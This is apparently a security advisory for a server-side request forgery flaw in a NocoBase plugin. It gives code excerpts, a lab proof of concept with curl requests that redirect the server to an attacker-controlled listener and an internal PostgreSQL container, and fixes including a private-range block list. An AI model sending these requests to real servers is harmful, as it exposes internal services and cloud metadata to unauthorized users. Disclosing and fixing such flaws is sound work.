PT-2026-144939
Published
2026-11-10
·
Updated
2026-11-10
Description by
CVSS 3.1
4.3
MediumMetricsAV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Summary
A Server-Side Request Forgery vulnerability exists in NocoBase v2.1.10 in the
@nocobase/plugin-action-custom-request plugin.A low-privileged authenticated user can call the
customRequests:send endpoint and override the stored request URL at runtime using options.url. This causes the NocoBase server to perform outbound HTTP requests to attacker-controlled or internal URLs.- Product: NocoBase
- Version: v2.1.10
- Component:
@nocobase/plugin-action-custom-request - Severity: Moderate
- Required privilege: authenticated low-privileged user / member
Testing was performed only in a local Docker lab environment at
http://127.0.0.1:13000. No public NocoBase instance was tested.Lab environment:
- Docker image:
nocobase/nocobase:latest-full - Commit:
23e2bd35625439594e4757bac31d57c9e8e695b9 - Database: PostgreSQL 16
- Containers:
nocobase-lab,nocobase-postgres - Docker network:
172.19.0.0/16 - Important environment variable:
SERVER REQUEST WHITELISTwas not set
Details
The vulnerable endpoint is:
http
POST /api/customRequests:send?filterByTk=<key>The
customRequests:send action is allowed for any logged-in user:ts
// plugin-action-custom-request/src/server/plugin.ts
this.app.acl.allow('customRequests', ['send', 'listByCurrentRole'], 'loggedIn');The request options supplied at runtime are merged into the stored request configuration. This allows a low-privileged user to override the stored URL:
ts
// plugin-action-custom-request/src/server/actions/send.ts
const mergedOptions = {
...(requestConfig.options || {}),
...omitNullAndUndefined(runtimeOptions || {}),
};
const { url, ...options } = mergedOptions;The URL is therefore attacker-controlled when the low-privileged user sends a request body such as:
json
{
"options": {
"url": "http://attacker-controlled-host:18080/ssrf-proof",
"method": "GET"
}
}If
SERVER REQUEST WHITELIST is not configured, the server-side request whitelist check is bypassed:ts
// packages/core/utils/src/server-request.ts
const whitelist = process.env.SERVER REQUEST WHITELIST;
if (!whitelist || !whitelist.trim()) return;As a result, a low-privileged authenticated user can force the NocoBase server to make arbitrary outbound HTTP requests.
PoC
Step 1: Admin creates a valid Custom Request config
First, an administrator creates a valid Custom Request config. This is a setup step only.
bash
BASE="http://127.0.0.1:13000"
curl -i -s -X POST "$BASE/api/customRequests:create"
-H "Authorization: Bearer <ADMIN TOKEN>"
-H "Content-Type: application/json"
--data '{
"key": "report-ssrf-demo",
"options": {
"url": "https://www.example.com/",
"method": "GET"
}
}'Expected result:
http
HTTP/1.1 200 OKIf the key already exists, this setup step can be skipped.
Evidence:
Step 2: Start an attacker-controlled HTTP listener
On the attacker-controlled host in the local lab:
bash
mkdir -p /tmp/ssrf-poc
cd /tmp/ssrf-poc
echo "SSRF OK - request came from NocoBase server" > ssrf-proof
python3 -m http.server 18080 --bind 0.0.0.0Example attacker host IP in the local lab:
text
192.168.1.139Evidence:
Step 3: Low-privileged user triggers SSRF by overriding options.url
The low-privileged user calls
customRequests:send and overrides options.url at runtime:bash
BASE="http://127.0.0.1:13000"
KALI IP="192.168.1.139"
curl -i -s -X POST "$BASE/api/customRequests:send?filterByTk=report-ssrf-demo"
-H "Authorization: Bearer <LOWPRIV TOKEN>"
-H "Content-Type: application/json"
--data "{
"options": {
"url": "http://$KALI IP:18080/ssrf-proof",
"method": "GET"
}
}"Expected response:
http
HTTP/1.1 200 OK
SSRF OK - request came from NocoBase serverEvidence:
Step 4: Attacker-controlled listener receives the server-side request
The attacker-controlled HTTP listener receives:
text
GET /ssrf-proof HTTP/1.1This proves that the HTTP request was made by the NocoBase server as a result of the low-privileged user's API request.
Evidence:
Step 5: Internal service reachability test
The same low-privileged user can target an internal Docker service:
bash
curl -i -s -X POST "$BASE/api/customRequests:send?filterByTk=report-ssrf-demo"
-H "Authorization: Bearer <LOWPRIV TOKEN>"
-H "Content-Type: application/json"
--data '{
"options": {
"url": "http://nocobase-postgres:5432/",
"method": "GET"
}
}'Observed response:
json
{"message":"socket hang up"}This indicates that the NocoBase server attempted to connect to the internal PostgreSQL container. PostgreSQL does not speak HTTP, so the connection is closed, but the internal reachability is confirmed.
Impact
A low-privileged authenticated user can force the NocoBase server to perform arbitrary outbound HTTP requests.
Potential impact includes:
- internal service enumeration
- access to services only reachable from the server-side network
- Docker host gateway reachability testing
- reading responses from internal HTTP services when response bodies are returned
- potential access to cloud metadata endpoints in cloud deployments if not otherwise blocked
- use of the NocoBase server as a trusted network proxy
Confirmed in the local lab:
- attacker-controlled HTTP listener received a request from the NocoBase server
- internal PostgreSQL container
nocobase-postgres:5432was reachable - Docker host gateway reachability was confirmed
This can expose internal-only services to low-privileged users and can become more severe in cloud or production deployments where internal APIs, metadata services, or trusted network services are reachable from the NocoBase server.
Recommended Fix
- Restrict
customRequests:sendto administrators or specifically authorized roles.
diff
- this.app.acl.allow('customRequests', ['send'], 'loggedIn');
+ this.app.acl.allow('customRequests', ['send'], 'admin');-
Do not allow low-privileged users to override stored request URLs at runtime.
-
Require
SERVER REQUEST WHITELISTby default in production Docker images. -
Block private/internal IP ranges by default, including:
text
127.0.0.0/8
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
169.254.0.0/16
::1/128
fc00::/7-
Resolve DNS and validate the final resolved IP address before making the outbound request.
-
Revalidate the target after redirects.
-
Add SSRF regression tests for:
text
localhost
127.0.0.1
Docker service names
private IP ranges
Docker gateway IP
169.254.169.254
redirects to private IP ranges Found an issue in the description? Have something to add? Feel free to write us 👾